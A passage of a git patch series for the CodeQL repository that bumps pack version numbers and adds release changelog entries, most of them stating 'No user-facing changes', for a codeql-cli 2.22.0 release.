2fe45acb03c..10cb758f6ea 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.9.md b/shared/dataflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 6b6f61cd239..6629d0eb19b 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 3c432d1383f..ac6be6596f7 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.25.md b/shared/mad/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 2b40a4719fc..508a599359f 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 7668a5ba39d..d7831747b12 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.3 + +No user-facing changes. + ## 0.0.2 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.3.md b/shared/quantum/change-notes/released/0.0.3.md new file mode 100644 index 00000000000..af7864fc7d5 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.3.md @@ -0,0 +1,3 @@ +## 0.0.3 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index 55dc06fbd76..a24b693d1e7 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.2 +lastReleaseVersion: 0.0.3 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4f0b7759869..ed8f11bc648 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.3-dev +version: 0.0.3 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 5716e332920..c06e99c5f7f 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.25.md b/shared/rangeanalysis/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index 10f6a89e956..e45001c1cd0 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 36cbdcef2ab..1a63aa6e43a 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.25.md b/shared/regex/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 66614e15d12..ea61f121ef4 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 85891c54761..fff1d5b89e2 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.1 + +No user-facing changes. + ## 2.0.0 ### Breaking Changes diff --git a/shared/ssa/change-notes/released/2.0.1.md b/shared/ssa/change-notes/released/2.0.1.md new file mode 100644 index 00000000000..b5b6d0dee91 --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.1.md @@ -0,0 +1,3 @@ +## 2.0.1 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 0abe6ccede0..fe974a4dbf3 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.0 +lastReleaseVersion: 2.0.1 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 6b5972aabb0..586a23e5dbb 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.1-dev +version: 2.0.1 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index a684ef060a5..3fa1fa4c69b 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.25.md b/shared/threat-models/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a1a2ee0a7f2..2ce914671fc 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.25-dev +version: 1.0.25 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index b0f9b01001b..a5290f62bb3 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.25.md b/shared/tutorial/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index d003a55f26e..5e8d7d64ca5 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index 7f8c43e4544..2283f741ca7 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.25.md b/shared/typeflow/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index a9162922bde..a95abb9ac22 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 9b269441c00..ad2e63eb470 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.6 + +No user-facing changes. + ## 0.0.5 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.6.md b/shared/typeinference/change-notes/released/0.0.6.md new file mode 100644 index 00000000000..ccbce856079 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.6.md @@ -0,0 +1,3 @@ +## 0.0.6 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index bb45a1ab018..cf398ce02aa 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.5 +lastReleaseVersion: 0.0.6 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 459a6a4a172..d0c83854b67 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.6-dev +version: 0.0.6 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 731844b4af3..6e434da1f77 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.9.md b/shared/typetracking/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 91b9a990ba8..e75d2976ab3 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index a81f798d14c..62be8d62137 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.25.md b/shared/typos/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index bedd7763f80..7cbc9901fec 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index 70486f1eeb4..e9eb55238ef 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.12 + +No user-facing changes. + ## 2.0.11 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.12.md b/shared/util/change-notes/released/2.0.12.md new file mode 100644 index 00000000000..c93809466de --- /dev/null +++ b/shared/util/change-notes/released/2.0.12.md @@ -0,0 +1,3 @@ +## 2.0.12 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 3cbe73b4cad..b856d9a13f2 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.11 +lastReleaseVersion: 2.0.12 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index ba1cdd04daf..f400be0abdf 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.12-dev +version: 2.0.12 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index 43afc43456b..1af448dd16d 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.25.md b/shared/xml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 023376cee30..e6cb9a17961 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index a324870b225..7944d8a4a2f 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.25.md b/shared/yaml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 4b28cce1b1c..cf91193f6ae 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index fe8bfd82364..bc63ecb86b4 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. + ## 5.0.0 ### Breaking Changes diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/released/5.0.1.md similarity index 50% rename from swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md rename to swift/ql/lib/change-notes/released/5.0.1.md index 60adc9e1cfc..b27dae0871d 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/released/5.0.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.0.1 + +### Minor Analysis Improvements + * Updated to allow analysis of Swift 6.1.2. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c9e54136ca5..ae7df5e18b7 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.0.1 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index efb8506e6ca..8c4f32eb0d2 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.1-dev +version: 5.0.1 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7faf32ba841..54ed582d8d9 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.1.5 + +No user-facing changes. + ## 1.1.4 ### Minor Analysis Improvements diff --git a/swift/ql/src/change-notes/released/1.1.5.md b/swift/ql/src/change-notes/released/1.1.5.md new file mode 100644 index 00000000000..11a52a121d1 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.5.md @@ -0,0 +1,3 @@ +## 1.1.5 + +No user-facing changes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 26cbcd3f123..df39a9de059 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.4 +lastReleaseVersion: 1.1.5 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 71a570bb9d8..9c1b33791a2 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.5-dev +version: 1.1.5 groups: - swift - queries From 21463a96530295d9048401e207073cf5943fa311 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jun 2025 18:50:20 +0000 Subject: [PATCH 36/36] Post-release preparation for codeql-cli-2.22.0 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 5919efe3b67..596bf4a14f0 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.11 +version: 0.4.12-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 9e45e764ede..99c4fd8d02c 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.3 +version: 0.6.4-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 5d1966180cc..c0dd5d2ae2a 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.1.0 +version: 5.1.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 52f0f08a4c5..290c18cb815 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.2 +version: 1.4.3-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 212ac56d39d..a86abb4812b 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.42 +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 16bf3587403..caf1e66033e 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.42 +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 84b613c8497..464284c56cb 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.8 +version: 5.1.9-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 24cacd047ce..6437a730f15 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.2 +version: 1.2.3-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index aaa9a44cb15..17730391629 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.25 +version: 1.0.26-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 6cf36447983..9c6a8397bc3 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.7 +version: 4.2.8-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 8278ece9be5..874d6e093fc 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.3.0 +version: 1.3.1-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index b8d73e70642..35f35a391c5 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.1 +version: 7.3.2-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 4ea0bc399ca..a0b518b6876 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.2 +version: 1.5.3-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index c015b3679f1..b367ab88549 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.5 +version: 2.6.6-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 6fff98f1f34..0bfacd0c21e 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.2 +version: 1.6.3-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 3ee266732fb..848e808db34 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.25 +version: 1.0.26-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index 4b1d284def3..ffd394c2544 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.9 +version: 4.0.10-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 54dfe59df77..2fa2d2204b9 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.2 +version: 1.5.3-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml 